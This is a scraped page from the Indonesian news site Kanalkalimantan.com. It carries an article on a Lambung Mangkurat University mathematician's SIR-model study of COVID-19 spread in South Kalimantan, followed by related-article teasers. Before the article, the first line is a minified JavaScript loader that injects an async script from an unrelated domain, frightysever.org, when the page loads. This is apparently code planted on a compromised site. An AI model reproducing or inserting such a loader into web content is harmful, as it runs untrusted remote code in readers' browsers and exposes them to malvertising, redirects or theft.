(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pandemi Covid-19 yang menyebar di berbagai belahan dunia, termasuk di Kalimantan Selatan, mendorong peneliti untuk melakukan kajian permodelan penyebaran Covid-19 berdasarkan perhitungan matematika. Kajian permodelan sendiri dilakukan oleh Dr. M. Ahsar Karim yang merupakan akademisi Fakultas Matematika dan Ilmu Pengetahuan Alam (FMIPA) Universitas Lambung Mangkurat Banjarbaru.
Dalam wawancara dengan Kanalkalimantan.com, Ahsar memaparkan lebih lanjut kajian yang ia lakukan. Butuh waktu selama dua bulan untuk melakukan kajian dengan menggunakan metode SIR (Suspectable, Infected dan Recovered).
“Awalnya kita melakukan pengelompokkan data dulu, jadi model kita dalam matematika itu ada namanya kompartemen. Ada kompartemen suspect, orang yang terinfeksi kemudian orang-orang yang recover atau sembuh,” papar Ahsar.
Dalam perkembangannya, juga dilaporkan ada orang-orang yang meninggal dunia akibat Covid-19. Sehingga, dari tiga kompartemen tadi terbentuk metode SIR. Karena adanya laporan kasus meninggal dunia, maka model SIR ini mengalami sedikit kodifikasi untuk mengakomodir data-data orang meninggal dunia.
Dr. M. Ahsar Karim. foto: dok pribadi
“Model kompartemen seperti ini, kalau ada interaksi antara orang-orang yang suspect maupun yang terinfeksi, maka akan terjadi penularan. Nah, ini yang sangat rawan terjadi kalau misalnya Pembatasan Sosial Berskala Besar (PSBB) itu tidak diindahkan. Karena yang ditakutkan itu adalah orang-orang yang terinfeksi tapi tidak terekam atau OTG (orang tanpa gejala),” jelas doktor jebolan Institut Teknologi Bandung ini.
Ibaratnya sebuah ‘bola salju’ yang akan terus menggelinding dengan jumlah angka penyebaran kasus yang semakin membesar. Dikhawatirkan, OTG ini berkeliaran di luar dan orang-orang yang berinteraksi itu tidak mengetahui jika OTG ini terpapar dan menjadi carrier atau pembawa virus Corona. Jika OTG ini terekam pada data, kemungkinan sebelum menjalani karantina sudah menyebarkan Covid-19.
Dr. Ahsar pun tidak mengetahui persis seberapa penyebaran Covid-19 ini. Makanya, dalam permodelan ini diambil beberapa parameter seperti laju penularan. Hal ini dapat terjadi, jika ada kontak antara orang-orang yang suspect dengan terinfeksi.
Lebih lanjut ia mengingatkan, disamping laju penularan yang terjadi karena adanya kontak antara orang yang suspect dengan orang yang terinfeksi, juga laju penularan dari orang yangt terinfeksi menjadi sembuh yang disebut laju kesembuhan. Terakhir, laju kematian yang mana orang terinfeksi Covid-19 yang kemudian meninggal dunia. (Kanalkalimantan.com/fikri)
Reporter : fikri
Editor : cell
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More
KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More
KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More
This website uses cookies.